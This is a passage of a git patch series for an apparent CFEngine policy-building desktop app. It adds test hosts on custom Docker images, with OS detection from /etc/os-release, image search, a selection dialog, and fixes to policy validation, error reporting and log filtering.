RunnerError(status["error"]) detail = status.get("progressDetail") or {} @@ -374,24 +389,42 @@ def _has_image(engine, image: str, arch: str) -> bool: def ensure_image( - engine, platform: str, edition: str, version: str, hub: bool, arch: str, host_id: str | None = None + engine, + platform: str, + edition: str, + version: str, + hub: bool, + arch: str, + host_id: str | None = None, + base: str | None = None, ) -> str: - """A local image with CFEngine installed (built once per platform, edition, role, version and arch).""" + """A local image with CFEngine installed (built once per platform, edition, role, version and arch). + `base` is a custom image to build on instead of the platform's; `platform` then says which + package it takes and how it installs.""" if platform not in PLATFORMS: raise RunnerError(f"Unknown platform: {platform}") + if base is not None and not REFERENCE.match(base): + raise RunnerError(f"Not an image reference: {base}") role = "hub" if edition == "enterprise" and hub else "agent" spec = PLATFORMS[platform] + image = base or spec["image"] found = package({"edition": edition, "version": version, "platform": platform, "arch": arch, "hub": hub}) - repository, tag = f"cfpb-cache/{platform}", f"{edition}-{role}-{found['version']}-{DOCKER_ARCH[arch]}" + repository = f"cfpb-cache/{platform}" + if base: + repository = f"cfpb-cache/custom-{hashlib.sha256(base.encode()).hexdigest()[:12]}-{platform}" + tag = f"{edition}-{role}-{found['version']}-{DOCKER_ARCH[arch]}" if _has_image(engine, f"{repository}:{tag}", arch): return f"{repository}:{tag}" - label = f"{spec['label']} ({arch}) with CFEngine {edition} {found['version']} ({role})" + label = f"{base or spec['label']} ({arch}) with CFEngine {edition} {found['version']} ({role})" emit("step", host=host_id, step="image", message=f"Preparing {label}") - if not _has_image(engine, spec["image"], arch): - pull(spec["image"], arch) + if not _has_image(engine, image, arch): + pull(image, arch) + # Custom images may set an entrypoint or a non-root user: the cached image drops both. builder = engine.containers.run( - spec["image"], - "sleep infinity", + image, + ["infinity"], + entrypoint=["sleep"], + user="root", detach=True, init=True, labels={"cfpb.build": "1"}, @@ -403,12 +436,108 @@ def ensure_image( file = f"/tmp/{found['filename']}" command = f"curl -fsSL -o {file} {found['url']} && {install.format(file=file)} && rm {file}" _check(run_in(engine, builder, command, None, "setup"), "Installing CFEngine") - builder.commit(repository=repository, tag=tag) + builder.commit( + repository=repository, tag=tag, changes=['ENTRYPOINT [""]', 'CMD ["sleep", "infinity"]', "USER root"] + ) finally: builder.remove(force=True) return f"{repository}:{tag}" +# os-release codenames of releases whose derivatives (Mint, Pop!_OS, …) name them. +CODENAMES = { + "focal": "ubuntu-20", + "jammy": "ubuntu-22", + "noble": "ubuntu-24", + "bookworm": "debian-12", + "trixie": "debian-13", +} +RHEL_LIKE = {"rhel", "centos", "rocky", "almalinux", "ol", "redhat"} + + +def parse_os_release(text: str) -> dict[str, str]: + fields = {} + for line in text.splitlines(): + key, equals, value = line.partition("=") + if equals: + fields[key.strip()] = value.strip().strip("'\"") + return fields + + +def platform_of(fields: dict[str, str]) -> str | None: + """The PLATFORMS key whose package an OS takes, from its os-release; None if unsure.""" + ids = {fields.get("ID", "").lower(), *fields.get("ID_LIKE", "").lower().split()} + major = fields.get("VERSION_ID", "").split(".")[0] + found = None + if fields.get("ID") in ("ubuntu", "debian"): + found = f"{fields['ID']}-{major}" + elif ids & RHEL_LIKE and major: + found = f"rhel-{major}" + else: + found = CODENAMES.get(fields.get("UBUNTU_CODENAME") or fields.get("VERSION_CODENAME") or "") + return found if found in PLATFORMS else None + + +def inspect(request: dict) -> None: + """Pulls a custom image if needed and reads its /etc/os-release: emits `detected` with the + OS and the platform whose package it takes (null when that has to be picked).""" + image, arch = request.get("image"), request.get("arch") or "x86_64" + if not isinstance(image, str) or not REFERENCE.match(image): + raise RunnerError(f"Not an image reference: {image}") + if arch not in DOCKER_PLATFORM: + raise RunnerError(f"Unknown architecture: {arch}") + engine = client() + if not _has_image(engine, image, arch): + emit("step", step="pull", message=f"Pulling {image}") + pull(image, arch) + output = engine.containers.run( + image, + ["/etc/os-release"], + entrypoint=["cat"], + user="root", + remove=True, + platform=DOCKER_PLATFORM[arch], + ) + fields = parse_os_release(output.decode("utf-8", "replace")) + emit( + "detected", + image=image, + os=fields.get("PRETTY_NAME") or fields.get("NAME") or None, + platform=platform_of(fields), + ) + emit("done") + + +def search(query: dict) -> dict: + """Images matching `term`: pulled ones, and Docker Hub's when `hub` (its error, if any, as `hubError`).""" + term = str(query.get("term") or "").strip().lower() + engine = client() + local = sorted( + { + tag + for image in engine.images.list() + for tag in image.tags + if not tag.startswith("cfpb-cache/") and term in tag.lower() + } + ) + result: dict = {"local": local[:50], "hub": [], "hubError": None} + if query.get("hub") and term: + try: + found = engine.images.search(term, limit=25) + result["hub"] = [ + { + "name": item.get("name"), + "description": item.get("description") or "", + "stars": item.get("star_count", 0), + "official": bool(item.get("is_official")), + } + for item in found + ] + except Exception as error: # offline, rate limited + result["hubError"] = f"Docker Hub search failed: {error}" + return result + + def platforms(query: dict) -> dict: """Every platform, and whether this edition + version has a client / hub package for `arch`.""" edition, version = query.get("edition", "community"), query.get("version", "latest") @@ -550,7 +679,9 @@ def up(request: dict, finish: bool = True) -> str: containers = {} for host in sorted(hosts, key=lambda h: h is not hub_host): emit("host", host=host["id"], state="provisioning") - image = ensure_image(engine, host["platform"], edition, version, host is hub_host, arch, host["id"]) + image = ensure_image( + engine, host["platform"], edition, version, host is hub_host, arch, host["id"], host.get("image") or None + ) containers[host["id"]] = _ensure_container(engine, env, host, image, host_env(env, host, dotenv)) hub = containers[hub_host["id"]] _deploy(engine, hub, masterfiles_dir) diff --git a/python/tests/test_testenv.py b/python/tests/test_testenv.py index f9c65f3..84cf9be 100644 --- a/python/tests/test_testenv.py +++ b/python/tests/test_testenv.py @@ -168,3 +168,21 @@ def test_errors_outside_the_project_keep_their_own_location(): assert problem["block"] is None assert (problem["file"], problem["line"]) == ("/var/cfengine/inputs/update.cf", 9) + + +def test_custom_images_take_the_package_of_the_os_they_are(): + def platform(text: str): + return cfpb_testenv.platform_of(cfpb_testenv.parse_os_release(text)) + + assert platform('ID=rocky\nID_LIKE="rhel centos fedora"\nVERSION_ID="9.4"') == "rhel-9" + assert platform('ID="ol"\nID_LIKE="fedora"\nVERSION_ID="8.10"') == "rhel-8" + assert platform('ID=ubuntu\nVERSION_ID="24.04"') == "ubuntu-24" + assert platform('ID=linuxmint\nID_LIKE="ubuntu debian"\nVERSION_ID=21.3\nUBUNTU_CODENAME=jammy') == "ubuntu-22" + assert platform("ID=alpine\nVERSION_ID=3.20.0") is None + assert platform("ID=debian\nVERSION_ID=11") is None + + +def test_a_registry_port_is_not_a_tag(): + assert cfpb_testenv.split_reference("registry.corp:5000/base/rhel9") == ("registry.corp:5000/base/rhel9", "latest") + assert cfpb_testenv.split_reference("registry.corp:5000/base/rhel9:1.2") == ("registry.corp:5000/base/rhel9", "1.2") + assert cfpb_testenv.split_reference("rockylinux:9") == ("rockylinux", "9") diff --git a/src/main/backend.ts b/src/main/backend.ts index 28c8e5f..f5e9b36 100644 --- a/src/main/backend.ts +++ b/src/main/backend.ts @@ -144,7 +144,7 @@ export function startSidecarStream(args: string[], input: string, onEvent: (even } /** A one-shot test-environment query (`testenv doctor|images|package|status`), resolving with its JSON answer. */ -export async function testEnvQuery(action: 'doctor' | 'images' | 'package' | 'platforms' | 'status', input: unknown = {}): Promise { +export async function testEnvQuery(action: 'doctor' | 'images' | 'package' | 'platforms' | 'search' | 'status', input: unknown = {}): Promise { const result = await runSidecar(['testenv', action], JSON.stringify(input), TESTENV_TIMEOUT_MS); logStderr(result.stderr); if (result.code !== 0) throw sidecarError(result, TESTENV_TIMEOUT_MS); diff --git a/src/main/testenv.ts b/src/main/testenv.ts index 449bbeb..65821c7 100644 --- a/src/main/testenv.ts +++ b/src/main/testenv.ts @@ -10,8 +10,10 @@ import { type SidecarStream, startSidecarStream, testEnvQuery } from './backend' */ const BASE_IMAGES = new Set(['ubuntu:22.04', 'ubuntu:24.04', 'debian:12']); -// The streaming actions: pulling a base image, and an environment's Start / Run / Stop / Destroy. -const STREAMING = new Set(['pull', 'up', 'run', 'test', 'exec', 'start', 'stop', 'destroy']); +// The streaming actions: pulling a base image, checking a custom one, and an environment's Start / Run / Stop / Destroy. +const STREAMING = new Set(['pull', 'inspect', 'up', 'run', 'test', 'exec', 'start', 'stop', 'destroy']); +// [registry[:port]/]name[:tag][@digest], as the sidecar checks it. +const IMAGE_REFERENCE = /^[A-Za-z0-9][A-Za-z0-9._/:@-]{0,254}$/; const runs = new Map(); const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); @@ -23,6 +25,11 @@ function sidecarRequest(action: string, request: unknown): Record { + if (!isRecord(query) || typeof query.term !== 'string' || query.term.length > 100) throw new Error('Invalid image search'); + return testEnvQuery('search', { term: query.term, hub: query.hub === true }); + }) + ); ipcMain.handle( 'testenv:status', trusted((_event, request: unknown) => testEnvQuery('status', sidecarRequest('status', request))) diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index d86a522..2805b60 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -32,6 +32,12 @@ export interface DockerStatus { } // A base image a test host can run, and whether it's pulled. +export interface ImageSearch { + hub: { description: string; name: string; official: boolean; stars: number }[]; + hubError: string | null; + local: string[]; +} + export interface BaseImage { id: string; image: string; @@ -97,6 +103,7 @@ export type TestEnvEvent = | { container?: string; converged?: boolean; host: string; ip?: string; state: string; t: 'host' } | { exit: number; host: string; kept?: number; notKept?: number; repaired?: number; run: number; t: 'result' } | { host: string; setup_code: string | null; t: 'hub'; url: string | null } + | { image: string; os: string | null; platform: string | null; t: 'detected' } | { exit: number; host: string; t: 'exec' } | { host: string; problems: TestProblem[]; t: 'problems' } | { t: 'done' } @@ -215,10 +222,12 @@ declare global { edition: string; version: string; }) => Promise<{ platforms: { client: boolean; hub: boolean; id: string; label: string }[] }>; + /** Images for a custom host: pulled ones matching `term`, and Docker Hub's when `hub`. */ + testEnvSearch: (query: { hub: boolean; term: string }) => Promise; /** Starts a streaming action (pull a base image; an environment's up / run / stop / destroy); resolves with the run id its events (onTestEnvEvent) carry. */ testEnvStart: ( - action: 'destroy' | 'exec' | 'pull' | 'run' | 'start' | 'stop' | 'test' | 'up', - request: TestEnvRequest | { image: string } + action: 'destroy' | 'exec' | 'inspect' | 'pull' | 'run' | 'start' | 'stop' | 'test' | 'up', + request: TestEnvRequest | { arch?: string; image: string } ) => Promise; /** Each host's container as Docker sees it: running, exited, absent… */ testEnvStatus: (request: TestEnvRequest) => Promise<{ hosts: Record }>; diff --git a/src/preload/index.ts b/src/preload/index.ts index e793ee2..1ffff12 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -5,6 +5,7 @@ import type { CompiledPolicy, CreateProjectRequest, DockerStatus, + ImageSearch, MasterfilesVersions, OpenedProject, OperationResult, @@ -83,14 +84,15 @@ const api = { testEnvDoctor: (): Promise => invoke('testenv:doctor'), testEnvImages: (): Promise<{ platforms: BaseImage[] }> => invoke('testenv:images'), testEnvStart: ( - action: 'destroy' | 'exec' | 'pull' | 'run' | 'start' | 'stop' | 'test' | 'up', - request: TestEnvRequest | { image: string } + action: 'destroy' | 'exec' | 'inspect' | 'pull' | 'run' | 'start' | 'stop' | 'test' | 'up', + request: TestEnvRequest | { arch?: string; image: string } ): Promise => invoke('testenv:start', action, request), testEnvPlatforms: (query: { arch: string; edition: string; version: string; }): Promise<{ platforms: { client: boolean; hub: boolean; id: string; label: string }[] }> => invoke('testenv:platforms', query), + testEnvSearch: (query: { hub: boolean; term: string }): Promise => invoke('testenv:search', query), testEnvStatus: (request: TestEnvRequest): Promise<{ hosts: Record }> => invoke('testenv:status', request), cancelTestEnvRun: (runId: string): Promise => invoke('testenv:cancel', runId), diff --git a/src/renderer/src/components/TestResultsView.tsx b/src/renderer/src/components/TestResultsView.tsx index 3dec78e..cb7edab 100644 --- a/src/renderer/src/components/TestResultsView.tsx +++ b/src/renderer/src/components/TestResultsView.tsx @@ -26,6 +26,7 @@ import { import type { PlatformSupport, TestEnvironment } from '../store/testEnvironmentsSlice/types'; import { useMasterfilesVersions } from './dialogs/NewProjectDialog'; import { AddHostMenu } from './testenv/AddHostMenu'; +import { CustomImageDialog } from './testenv/CustomImageDialog'; import { EnvironmentSettingsDialog } from './testenv/EnvironmentSettingsDialog'; import { HostCard } from './testenv/HostCard'; import { HostSettingsDialog } from './testenv/HostSettingsDialog'; @@ -70,6 +71,7 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, const [editingHost, setEditingHost] = useState(null); const [environmentOpen, setEnvironmentOpen] = useState(false); const [addAnchor, setAddAnchor] = useState(null); + const [customOpen, setCustomOpen] = useState(false); const [logView, setLogView] = useState({ hosts: [], filter: '' }); const [terminalHosts, setTerminalHosts] = useState([]); const terminalInput = useRef(null); @@ -292,7 +294,22 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, setAddAnchor(null); dispatch(hostAdded({ environmentId: id, platform })); }} + onOther={() => { + setAddAnchor(null); + setCustomOpen(true); + }} /> + {customOpen && ( + setCustomOpen(false)} + onAdd={(image, platform) => { + setCustomOpen(false); + dispatch(hostAdded({ environmentId: id, image, platform })); + }} + /> + )} {editing && ( void; + // Opens the custom image dialog. + onOther: () => void; onSelect: (platform: string) => void; support: PlatformSupport | null; } /** Picks the platform a new client host runs; platforms without a client package are disabled. */ -export function AddHostMenu({ anchor, last, onClose, onSelect, support }: AddHostMenuProps) { +export function AddHostMenu({ anchor, last, onClose, onOther, onSelect, support }: AddHostMenuProps) { const item = (platform: (typeof PLATFORMS)[number], key: string = platform.id) => { const missing = support?.[platform.id] && !support[platform.id].client; return ( @@ -28,6 +30,10 @@ export function AddHostMenu({ anchor, last, onClose, onSelect, support }: AddHos New client host runs {same && [item(same, 'last'), ]} {PLATFORMS.filter(platform => platform !== same).map(platform => item(platform))} + + + Other image… + ); } diff --git a/src/renderer/src/components/testenv/CustomImageDialog.tsx b/src/renderer/src/components/testenv/CustomImageDialog.tsx new file mode 100644 index 0000000..4fb527f --- /dev/null +++ b/src/renderer/src/components/testenv/CustomImageDialog.tsx @@ -0,0 +1,198 @@ +import { useEffect, useRef, useState } from 'react'; + +import VerifiedIcon from '@mui/icons-material/Verified'; +import { + Alert, + Autocomplete, + Button, + Dialog, + DialogActions, + DialogContent, + DialogTitle, + LinearProgress, + MenuItem, + Stack, + TextField, + Typography +} from '@mui/material'; + +import { PLATFORMS, type PlatformSupport } from '../../store/testEnvironmentsSlice/types'; + +type Api = NonNullable; +type Search = Awaited>; +type TestEnvEvent = Parameters[0]>[1]; +type Option = { description?: string; group: string; name: string; official?: boolean; stars?: number }; +type Check = + | { message: string; progress: number | null; state: 'checking' } + | { message: string; state: 'failed' } + | { os: string | null; platform: string | null; state: 'done' } + | { state: 'idle' }; + +const optionsOf = (found: Search | null): Option[] => [ + ...(found?.local ?? []).map(name => ({ name, group: 'On this machine' })), + ...(found?.hub ?? []).map(item => ({ ...item, name: `${item.name}:latest`, group: 'Docker Hub' })) +]; + +export interface CustomImageDialogProps { + arch: string; + onAdd: (image: string, platform: string) => void; + onClose: () => void; + support: PlatformSupport | null; +} + +/** Adds a client host on any Docker image: picked from pulled ones or Docker Hub, its OS checked for a CFEngine package. */ +export function CustomImageDialog({ arch, onAdd, onClose, support }: CustomImageDialogProps) { + const [image, setImage] = useState(''); + const [found, setFound] = useState(null); + const [searching, setSearching] = useState(false); + const [check, setCheck] = useState({ state: 'idle' }); + const [platform, setPlatform] = useState(''); + const run = useRef(null); + const term = image.split(/[:@]/)[0].trim(); + + useEffect(() => { + let current = true; + const timer = setTimeout(() => { + setSearching(true); + window.api + ?.testEnvSearch({ term, hub: term.length >= 2 }) + .then(result => current && setFound(result)) + .catch(() => current && setFound(null)) + .finally(() => current && setSearching(false)); + }, 400); + return () => { + current = false; + clearTimeout(timer); + }; + }, [term]); + + // Stop a check still pulling when the dialog goes away. + useEffect( + () => () => { + if (run.current) void window.api?.cancelTestEnvRun(run.current); + }, + [] + ); + + const startCheck = async () => { + if (!window.api) return; + setCheck({ state: 'checking', message: `Checking ${image}…`, progress: null }); + // Events can arrive before the run id does; keep them until it's known. + const early: [string, TestEnvEvent][] = []; + const onEvent = (event: TestEnvEvent) => { + if (event.t === 'progress') setCheck(c => (c.state === 'checking' ? { ...c, progress: event.total ? (event.current * 100) / event.total : null } : c)); + else if (event.t === 'step') setCheck(c => (c.state === 'checking' ? { ...c, message: event.message } : c)); + else if (event.t === 'detected') { + setCheck({ state: 'done', os: event.os, platform: event.platform }); + setPlatform(event.platform ?? ''); + } else if (event.t === 'error') setCheck({ state: 'failed', message: event.message }); + else if (event.t === 'exit') { + unsubscribe(); + run.current = null; + if (!event.ok) setCheck(c => (c.state === 'failed' ? c : { state: 'failed', message: event.message ?? 'The check failed' })); + } + }; + const unsubscribe = window.api.onTestEnvEvent((runId, event) => + run.current === null ? early.push([runId, event]) : runId === run.current && onEvent(event) + ); + try { + run.current = await window.api.testEnvStart('inspect', { image: image.trim(), arch }); + early.filter(([runId]) => runId === run.current).forEach(([, event]) => onEvent(event)); + } catch (error) { + unsubscribe(); + setCheck({ state: 'failed', message: error instanceof Error ? error.message : String(error) }); + } + }; + + const missing = (id: string) => Boolean(support?.[id] && !support[id].client); + const valid = /^[A-Za-z0-9][A-Za-z0-9._/:@-]{0,254}$/.test(image.trim()); + return ( + + Add a host from another image + + + option.group} + getOptionLabel={option => (typeof option === 'string' ? option : option.name)} + filterOptions={options => options} + inputValue={image} + onInputChange={(_event, value) => { + setImage(value); + setCheck({ state: 'idle' }); + }} + loading={searching} + disabled={check.state === 'checking'} + renderOption={({ key, ...props }, option) => ( +
  • + + + {option.name} + {option.official && } + {option.stars !== undefined && ★ {option.stars}} + + {option.description && ( + + {option.description} + + )} + +
  • + )} + renderInput={params => ( + + )} + /> + {check.state === 'checking' && ( + + {check.message} + + + )} + {check.state === 'failed' && {check.message}} + {check.state === 'done' && ( + <> + + {check.platform + ? `${check.os ?? 'This image'}: takes the ${PLATFORMS.find(p => p.id === check.platform)?.label} package.` + : `${check.os ?? 'This image'} isn't a platform CFEngine has packages for. Pick the closest one, e.g. the distribution it's based on.`} + + setPlatform(event.target.value)}> + {PLATFORMS.map(item => ( + + {item.label} + {missing(item.id) && no package} + + ))} + + + )} +
    +
    + + + {check.state === 'done' ? ( + + ) : ( + + )} + +
    + ); +} diff --git a/src/renderer/src/components/testenv/HostCard.tsx b/src/renderer/src/components/testenv/HostCard.tsx index ac215fc..1c1efb6 100644 --- a/src/renderer/src/components/testenv/HostCard.tsx +++ b/src/renderer/src/components/testenv/HostCard.tsx @@ -112,7 +112,8 @@ export function HostCard(props: HostCardProps) { const exists = Boolean(runtime?.container) && runtime?.state !== 'absent'; const stopped = exists && (runtime?.state === 'exited' || runtime?.state === 'created'); const up = exists && !stopped; - const platform = PLATFORMS.find(item => item.id === host.platform)?.label ?? host.platform; + const label = PLATFORMS.find(item => item.id === host.platform)?.label ?? host.platform; + const platform = host.image ? `${host.image} (${label} package)` : label; return ( diff --git a/src/renderer/src/components/testenv/HostSettingsDialog.tsx b/src/renderer/src/components/testenv/HostSettingsDialog.tsx index ab43ec8..8b95979 100644 --- a/src/renderer/src/components/testenv/HostSettingsDialog.tsx +++ b/src/renderer/src/components/testenv/HostSettingsDialog.tsx @@ -26,7 +26,7 @@ export interface HostSettingsDialogProps { exists: boolean; host: TestHost; isHub: boolean; - onChange: (changes: Partial>) => void; + onChange: (changes: Partial>) => void; onClose: () => void; onMakeHub: () => void; onRemove: () => void; @@ -86,7 +86,7 @@ export function HostSettingsDialog(props: HostSettingsDialogProps) { /> + {host.image && ( + + + Image{' '} + + {host.image} + + + + + )} Role props.onChange({ ports })} /> props.onChange({ env })} /> - Changing the platform or ports recreates the container on the next run. + Changing the platform, image or ports recreates the container on the next run. {props.container && } diff --git a/src/renderer/src/project/cfbsProject.ts b/src/renderer/src/project/cfbsProject.ts index 073773d..d0b8b57 100644 --- a/src/renderer/src/project/cfbsProject.ts +++ b/src/renderer/src/project/cfbsProject.ts @@ -366,7 +366,8 @@ export function environmentsFrom(value: unknown): TestEnvironment[] { .filter(isObject) .filter(port => Number.isInteger(port.host) && Number.isInteger(port.container)) .map(port => ({ host: port.host as number, container: port.container as number })), - env: stringMap(host.env) + env: stringMap(host.env), + ...(typeof host.image === 'string' && host.image ? { image: host.image } : {}) })); if (typeof environment.id !== 'string' || hosts.length === 0) return []; const hub = hosts.some(host => host.id === environment.hub) ? (environment.hub as string) : hosts[0].id; diff --git a/src/renderer/src/project/testRuns.ts b/src/renderer/src/project/testRuns.ts index 62035a1..e5ad6b3 100644 --- a/src/renderer/src/project/testRuns.ts +++ b/src/renderer/src/project/testRuns.ts @@ -10,7 +10,8 @@ import type { TestEnvironment } from '../store/testEnvironmentsSlice/types'; */ type Api = NonNullable; -type Action = Parameters[0]; +// An environment's actions (checking a custom image isn't one). +type Action = Exclude[0], 'inspect'>; type Request = Parameters[0]; type TestEnvEvent = Parameters[0]>[1]; export type TestProblem = Extract['problems'][number]; diff --git a/src/renderer/src/store/testEnvironmentsSlice/index.ts b/src/renderer/src/store/testEnvironmentsSlice/index.ts index 7f4995c..f8802a5 100644 --- a/src/renderer/src/store/testEnvironmentsSlice/index.ts +++ b/src/renderer/src/store/testEnvironmentsSlice/index.ts @@ -31,13 +31,14 @@ const testEnvironmentsSlice = createSlice({ const environment = find(state, action.payload.environmentId); if (environment?.hosts.some(host => host.id === action.payload.hostId)) environment.hub = action.payload.hostId; }, - hostAdded(state, action: PayloadAction<{ environmentId: string; platform?: string }>) { + hostAdded(state, action: PayloadAction<{ environmentId: string; image?: string; platform?: string }>) { const environment = find(state, action.payload.environmentId); if (!environment) return; const names = new Set(environment.hosts.map(host => host.name)); let number = environment.hosts.length; while (names.has(`client${number}`)) number += 1; - environment.hosts.push(newHost(`client${number}`, action.payload.platform ?? environment.hosts.at(-1)?.platform)); + const host = newHost(`client${number}`, action.payload.platform ?? environment.hosts.at(-1)?.platform); + environment.hosts.push(action.payload.image ? { ...host, image: action.payload.image } : host); }, hostRemoved(state, action: PayloadAction<{ environmentId: string; hostId: string }>) { const environment = find(state, action.payload.environmentId); @@ -49,9 +50,11 @@ const testEnvironmentsSlice = createSlice({ const host = find(state, action.payload.environmentId)?.hosts.find(item => item.id === action.payload.hostId); if (host) host.name = action.payload.name; }, - hostChanged(state, action: PayloadAction<{ changes: Partial>; environmentId: string; hostId: string }>) { + hostChanged(state, action: PayloadAction<{ changes: Partial>; environmentId: string; hostId: string }>) { const host = find(state, action.payload.environmentId)?.hosts.find(item => item.id === action.payload.hostId); - if (host) Object.assign(host, action.payload.changes); + if (!host) return; + Object.assign(host, action.payload.changes); + if (!host.image) delete host.image; }, // The environment's variables (no hostId), or one host's own. envVarsChanged(state, action: PayloadAction<{ env: Record; environmentId: string; hostId?: string }>) { diff --git a/src/renderer/src/store/testEnvironmentsSlice/types.ts b/src/renderer/src/store/testEnvironmentsSlice/types.ts index 845d470..f455277 100644 --- a/src/renderer/src/store/testEnvironmentsSlice/types.ts +++ b/src/renderer/src/store/testEnvironmentsSlice/types.ts @@ -2,6 +2,9 @@ export interface TestHost { env: Record; id: string; + // A custom Docker image to run instead of the platform's ("rockylinux:9"); `platform` then + // says which CFEngine package it takes. + image?: string; name: string; // A key of cfpb_testenv.PLATFORMS: "ubuntu-22", "ubuntu-24", "debian-12". platform: string; From 755db2f54ce932ded4586fd7a4361787cc2950ed Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 17:38:36 +0300 Subject: [PATCH 038/141] Running the policy on one test client no longer fails in update.cf A deploy replaces the hub's masterfiles, removing cf_promises_validated, which only the hub's own run wrote back; a client run alone then couldn't fetch the policy. The hub now tags the deployed policy with cf-promises -T, which also stops a run early on policy that doesn't validate. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_testenv.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index 533b7dd..e76f87c 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -808,7 +808,12 @@ def run(request: dict, masterfiles_dir: str | None = None) -> None: if hub_host is None or missing: raise RunnerError(f"Start the environment first ({', '.join(missing) or 'no hosts'} not running)") masterfiles_dir = masterfiles_dir or build_policy(request["content"], request["masterfiles"], request["cacheDir"]) - _deploy(engine, containers[hub_host["id"]], masterfiles_dir) + hub = containers[hub_host["id"]] + _deploy(engine, hub, masterfiles_dir) + # Clients' update.cf needs masterfiles/cf_promises_validated, which the deploy removed and only the + # hub's own run writes again: tag it now, so running only some clients works too. + tagged = run_in(engine, hub, f"{CFENGINE}/cf-promises -T /var/cfengine/masterfiles", hub_host["id"], "setup") + _check(tagged, "Validating the policy on the hub") # Where each block's lines are, to trace errors back to blocks. from cfpb_compiler import compile_project From 04bd758787499f554728125f73eb1fb70592f8ee Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 17:38:49 +0300 Subject: [PATCH 039/141] Test runs report update.cf errors as problems They were only in the log: the problems list and the host's pill read the promises.cf run alone. Each run's errors are traced separately, so a cause no longer picks up info lines from the other run. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_testenv.py | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index e76f87c..512c1c5 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -834,7 +834,11 @@ def run(request: dict, masterfiles_dir: str | None = None) -> None: result = None for number in range(1, MAX_RUNS + 1): emit("step", host=host["id"], step="run", message=f"Run {number} of {MAX_RUNS}") - run_in(engine, container, f"{CFENGINE}/cf-agent -KI -f update.cf", host["id"], "agent", environment) + # update.cf's errors are problems too (its compliance isn't in the summary we read). + updating: list[str] = [] + run_in( + engine, container, f"{CFENGINE}/cf-agent -KI -f update.cf", host["id"], "agent", environment, updating + ) output: list[str] = [] code = run_in(engine, container, f"{CFENGINE}/cf-agent -KI", host["id"], "agent", environment, output) result = {**(_compliance(engine, container) or {}), "exit": code, "run": number} @@ -842,7 +846,14 @@ def run(request: dict, masterfiles_dir: str | None = None) -> None: if code != 0 or result.get("repaired", 0) == 0: break # What went wrong in the last pass (earlier passes may have been fixed by later ones). - emit("problems", host=host["id"], problems=find_problems(output if result else [], source_map, block_files)) + emit( + "problems", + host=host["id"], + problems=[ + *find_problems(updating if result else [], source_map, block_files), + *find_problems(output if result else [], source_map, block_files), + ], + ) # Done unless the agent itself failed; still repairing after MAX_RUNS is "not converged" (an # Enterprise hub repairs a little on every run). converged = bool(result) and result["exit"] == 0 and result.get("repaired", 1) == 0 From b1e8479e2d5ae1e241cb13fcd717bbb4aa2cc20d Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 17:38:49 +0300 Subject: [PATCH 040/141] Starting a test action clears the log filters A filter left from Show in log hid the output of the next command or run. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../src/components/TestResultsView.tsx | 34 ++++++++----------- 1 file changed, 15 insertions(+), 19 deletions(-) diff --git a/src/renderer/src/components/TestResultsView.tsx b/src/renderer/src/components/TestResultsView.tsx index cb7edab..54854cb 100644 --- a/src/renderer/src/components/TestResultsView.tsx +++ b/src/renderer/src/components/TestResultsView.tsx @@ -127,6 +127,12 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, return { environment: environment!, content, masterfiles, envFile, ...(hosts ? { hosts } : {}) }; }; + // New output shows unfiltered: a filter left from "Show in log" would hide it. + const act = (action: Parameters[1], payload: Parameters[2]) => { + setLogView({ hosts: [], filter: '' }); + return startAction(environment!, action, payload); + }; + const idle = Boolean(environment) && !runtime.action; useEffect(() => { if (idle && environment && docker?.available) void refreshStatus(environment, request()); @@ -173,18 +179,13 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, variant="contained" startIcon={} disabled={!docker?.available || Boolean(problem)} - onClick={() => void startAction(environment, 'test', request())} + onClick={() => void act('test', request())} title="Create and bootstrap any host that isn't up yet, then run the policy on all of them" > Deploy & run )} - setEditingHost(host.id)} actionsDisabled={busy || !docker?.available} - onRunPolicy={() => void startAction(environment, 'run', request([host.id]))} - onStart={() => void startAction(environment, 'start', request([host.id]))} - onStop={() => void startAction(environment, 'stop', request([host.id]))} + onRunPolicy={() => void act('run', request([host.id]))} + onStart={() => void act('start', request([host.id]))} + onStop={() => void act('stop', request([host.id]))} problems={(runtime.problems[host.id] ?? []).length} onTerminal={() => { setTerminalHosts([host.id]); @@ -256,12 +257,7 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, {network}
    - @@ -281,7 +277,7 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, onSelect={setTerminalHosts} inputRef={terminalInput} disabled={busy || !docker?.available || !anyUp} - onRun={(command, hosts) => void startAction(environment, 'exec', { ...request(hosts), command })} + onRun={(command, hosts) => void act('exec', { ...request(hosts), command })} />
